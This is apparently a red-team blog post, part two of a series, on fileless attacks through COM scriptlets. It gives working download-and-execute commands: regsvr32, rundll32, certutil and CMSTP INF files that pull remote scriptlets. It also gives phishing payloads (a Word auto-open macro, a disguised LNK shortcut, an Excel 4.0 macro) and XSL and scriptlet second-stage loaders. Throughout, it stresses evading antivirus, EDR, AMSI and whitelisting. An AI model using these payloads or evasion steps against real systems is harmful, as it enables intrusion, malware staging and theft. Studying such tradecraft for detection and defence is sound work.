COM Objects P.2: Your Stealthy Fileless Attack

In the previous blog post, We have talked about COM Objects and how you can craft a COM Scriptlet with javascript or VBScript code that allows you to execute applications, download and execute additional javascript, or even load a C# module to use the full power of the .Net framework for your payload.

Today, we will be covering the execution and more of the aspects of the Fileless attack. We will cover the initial access phase and the multi-stage payloads.

So, let’s get started with the execution.

Executing Your COM Object Scriptlet:

Here is the main benefit of these COM Objects, they can be executed using legitimate Windows applications. These applications are signed by Microsoft, trusted, and exist on all windows machines.

There are multiple applications you can abuse here to download your SCT File (COM Scriptlet) and execute its javascript code.

Option 1: The Simple Direct Way

The first technique is simply using regsvr32.exe to execute the SCT file (the most known COM Scriptlet executor) and that can be easily detected:

regsvr32 /s /n /u /i:http://server/file.sct C:\Windows\system32\scrobj.dll

Another way is by using rundll32 with HTML Application (HTA):

rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:http://127.0.0.1:8080/calc.sct").Exec();

Which basically using javascript code to load the SCT file and execute it online. This method will require the COM Scriptlet to have public methods to be executed.

Option 2: Obfuscation & Encoding using CertUtil.exe

And another method to download the file is by using another Microsoft legitimate application to obfuscate (just a little) your COM scriptlet to avoid detection. And this application is Certutil.exe

certutil.exe -urlcache -split -f “https://malware\[.\]com/malware.sct.base64" malware.sct.base64

certutil.exe -decode malware.sct.base64 malware.sct

and then you can use regsvr32.exe as you would normally do:

regsvr32 /s /n /u /i:malware.sct

This technique helps to bypass network detection or SSL Strip techniques, Man-in-The-Middle techniques (by replacing the SSL Certificate) which are used as well in different security products.

Option 3: Using CMSTP INF-SCT Files:

Another interesting option is CMSTP.exe. This is the Microsoft Connection Manager Profile Installer and it accepts INF configuration files. These files can download and execute a COM Scriptlet. The format of these INF Files is like this:

code

[version]
Signature=$Chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://127.0.0.1:8080/test.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="MalTrak"
ShortSvcName="MalTrak"

As you see here, we included the path to scrobj.dll (that helps us to load COM Scriptlets) and the link to our scriptlet file

[UnRegisterOCXSection]

%11%\scrobj.dll,NI,http://127.0.0.1:8080/test.sct

To execute these files, you have plenty of options:

cmstp.exe /su test.inf

Or using rundll32 like this:

rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1

For more information, I recommend you to check this article:

https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/

All these applications can help you bypass Whitelisting and AV file signatures (as your SCT files are sent through HTTPS and not saved to disk). As well to test your security team (or client’s security team detections)

All these applications can be copied somewhere else, renamed or even the DLLs copied and renamed to bypass detection and still load your SCT files or INF files and execute your malware.

Attack Vector: How the attacker gets his foot into your machine:

Option 1: Spearphishing With Malicious Document:

One of the simplest ways to craft your attack is by using VBA macro code inside a malicious document. Simply, create a new word document, go to ViewàMacro and Create a new macro like this:

COM Objects P.2: Your Stealthy Fileless Attack

And from the macro page, choose this Project (Your document name) and ThisDocument

COM Objects P.2: Your Stealthy Fileless Attack

In the last step, write this VBA code to execute regsvr32 in the command prompt to download and execute your COM Object Scriptlet like this:

code

Private Sub Document_Open()
  Shell "regsvr32 /s /n /u /i:http://127.0.0.1:8080/file.sct scrobj.dll"
End Sub

In this code, we use the VBA function “Shell” to execute commands in the command prompt. And we make sure that this code runs once the document is opened by writing all this code inside the “Document_Open” method (which gets executed automatically at the start of the document of the users enabled the macro content).

Last, you should save the document as a macro-enabled document (.docm) and you can rename it later to “.doc” if you wish. (.docx is macro-free documents, your macro won’t work in this case)

Option 2: Using LNK Files:

Another smart option is to create a LNK file (shortcut file) that executes your regsvr32.exe with your Scriptlet (or rundll32 javascript option).

For this shortcut to work, you will need it to have an icon of a known file type (pdf, jpg, png, or even a folder) and make your social engineering story enticing enough for the user to click on it.

Creating a shortcut file is easy, you can create it manually or you can use PowerShell to create it like this:

code

$WshShell = New-Object -com WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.TargetPath = "regsvr32.exe"
$Shortcut.Arguments = "/s /n /u /i:http://127.0.0.1:8080/file.sct scrobj.dll"
$Shortcut.Save()

The icon location must be an application path then “,” and last the icon number. In this example, the shortcut will have the icon of a folder.

In the TargetPath, you can specify the name of the application you want to use (regsvr32 or rundll32) and the Arguments will include the path of your COM Object file.

Option 3: Excel 4.0 Macros With INF:

Here is the tricky one, an idea I believe was first presented by Philip Tsukerman in Cybereason which is using Excel 4.0 Macros to load an INF File (which later loads our SCT file)

Excel has 2 types of macros:

1. The Normal VBA macro code

2. The Excel 4.0 Macro

The Excel 4.0 Macro code is written in an excel sheet created for macros. To create it, you will need to go to the sheet tabs at the bottom and right-click there, and click Insert

COM Objects P.2: Your Stealthy Fileless Attack

Then choose MS Excel 4.0 Macro and you will be greeted with an empty sheet for you to write your Macro code.

Inside this sheet, you can type “=” followed by the code you want to execute. These macros bypass AMSI technology and as well give you so much of abilities and control than VBA macros.

To open your INF file, you can use this command:

=CALL(“advpack”,”LaunchINFSectionA”, “JJJFJ”, 0, 0, “ C:\Users\amrth\Desktop\test.inf,DefaultInstall_SingleUser,1”,0)

This command works very similarly to rundll32 with 1 caveat, the “JJJFJ”. I wouldn’t go into details on this one but each letter represents the type of argument this API takes. The J represents a 32-bit integer and F represents a string (text).

The first letter represents the type of return value (which is a number in this case) and the latter ones represent the arguments LaunchINFSectionA takes. This API looks like this:

int WINAPI LaunchINFSection(

HWND hwndOwner,

HINSTANCE hInstance,

PSTR pszParams,

INT nShow

);

The HWND, HINSTANCE, and INT are just 32-bit integers (numbers with 4 bytes size) and PSTR represents a string. So, “JJJFJ” represents these API arguments & the return address perfectly.

COM Objects P.2: Your Stealthy Fileless Attack

Adding to this line, you can include dumping the INF File from another sheet to disk, execute it and delete the file after.

As well, you will need to add the “Auto_open” formula to this column A to ensure that the document always starts with your code.

Lastly, obfuscation of this code is totally possible as well as hiding the excel macro sheet. This can take its own blog series but it’s worth researching and diving deeper.

Multi Staging: Download & Execute The 2nd Stage Script:

Multi Staging Using XSL Stylesheets:

COM Objects is not the only technique that allows executing scripts (javascript or VBScript) out of context, there are multiple other ones and one of these is XSL Stylesheets.

We won’t get into all details of this technique but for now, we will describe how to create the Stylesheet XML files (that allows javascript & VBScript) and how you load it and execute it within your COM object.

The format of these XSL Files is like this:

code

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="unknown"
version="1.0">
<output method="text"/>
<ms:script language="JScript" implements-prefix="user">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</ms:script>
</stylesheet>

These files execute VBScript & Javascript inline scripts which allow you to create the 2nd stage of your script to run in a downloadable XSL Sheet directly from javascript.

Using Eval could trigger AV/EDR signatures but using XSL Files mostly won’t. To execute these files from your javascript, use this code snippet:

code

var xsl = new ActiveXObject("MSXML2.DOMDOCUMENT.6.0");
xsl.async = false;
xsl.resolveExternals = true;
xsl.setProperty("AllowXsltScript", true);
var xml = xsl;
xsl.load("http://127.0.0.1:8080/simple.xsl");
xml.transformNode(xsl)

With this, you can download and execute your 2nd stage backdoor. The benefit of this technique is that it doesn’t leave any traces on your disk of this new XSL malicious script. It keeps your malware away from the praying eye for now. As well, it gives you the ability to update and modify your malware along the time.

Multi Staging Using Another COM Object:

Another way to load your 2nd stage is by loading another COM Scriptlet in your javascript code. In this case, you will need your COM object to look different. You will need it to have public methods to be called from your javascript.

The new COM Scriptlet will look like this:

code

<?XML version="1.0" ?>
<scriptlet>
<registration
  description="Test"
  progid="Test"
  version="1.00"
  classid="{20001111–0000–0000–0000–0000FEEDACDC}"
>
<! - Proof Of Concept - Casey Smith @subTee →
<! - Source: https://github.com/3gstudent/SCTPersistence.. →
</registration>
<public>
  <method name="Exec"></method>
</public>
<script language="JScript">
  <![CDATA[
  function Exec()
  {
    var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
  }
  ]]>
</script>
</scriptlet>

In this scriptlet, we don’t have any code in the registration section (which was called from regsvr32 while installing and uninstalling the COM Object). We do have here a method inside the COM Object named ‘Exec’ which call be executed from inside our javascript or VBScript like this:

code

var SCTObj;
SCTObj = GetObject("script:http://127.0.0.1:8080/calc.sct");
SCTObj.Exec();
Or in VBScript like this:
Dim SCTObj
Set SCTObj = GetObject("script:http://127.0.0.1:8080/calc.sct")
SCTObj.Exec

And in both cases, we are downloading our COM object online and executing the Exec function in it. And with that, we can stage our 2nd stage of the malware and execute our malware.

What’s Next?

In the next part of this series, we will cover how we can use COM Objects to hide your C&C communication and to make it look like legitimate browsing. Also, we will cover lateral movement and how we can COM Objects to execute commands on other systems in the same network (Using Microsoft RPC protocol, port 135).

So, don’t miss our next blog, and feel free to subscribe with your email so you don’t miss the next posts.

Conclusion

COM Objects are the swiss army knife for any attacker or red teamer today. They are built with no security in mind and led to lots of opportunities to abuse them to bypass defenses, escalate privileges and move laterally inside the organization.

If you are a red teamer, learning how to abuse COM objects will get you far ahead in bypassing defenses and detections. And if you are a blue teamer, protecting your organization against such types of attacks should be one of your top priorities and would definitely elevate your organization’s security posture.

In-Depth Comprehensive Red Team Training:

If you want to dive in-depth into this topic and other advanced attacks techniques, check out our training:

“Advanced Red Teaming: Weaponization & Adversary Simulation”

This is a live instructor-led training that focuses on developing cyber weapons that can evade AV detection, EDR logs, and forensics traces like how advanced targeted attacks do, and provide you with insights on how to improve your organization’s overall detections and security posture. Check it out from here: https://maltrak.com/redteam

References:

Originally published on Medium.